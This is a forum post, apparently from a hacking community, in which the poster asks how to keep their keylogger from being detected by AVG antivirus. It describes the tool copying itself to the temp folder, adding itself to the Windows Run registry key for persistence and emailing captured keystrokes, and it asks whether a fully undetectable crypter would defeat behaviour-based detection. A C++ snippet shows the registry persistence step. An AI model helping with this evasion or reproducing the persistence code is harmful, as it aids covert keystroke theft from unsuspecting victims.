First of all I'm not sure this should go under c++ or keyloggers but anyway, my antivirus (AVG) is detecting my keylogger and obviously I don't want it to. It detects that it copies itself to the temp directory and also detects that it adds itself to the registry for startup programs, is there anyway to stop this? Will a crypter work or even if the crypter's FUD the antivirus will detect that it recognized the behavior? Another thing it detects is that that it send an email of the keys (not as an attachment atm).
Thanks
Code
if(!RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &key) != ERROR_SUCCESS) {
RegSetValueEx(key, TEXT("Keylogger"), 0, REG_SZ, (LPBYTE)ss2.str().c_str(), strlen(ss2.str().c_str())*sizeof(char));
}Thanks


![[Image: nodeslovesrussia.png]](https://i.ibb.co/Nskr6x9/nodeslovesrussia.png)
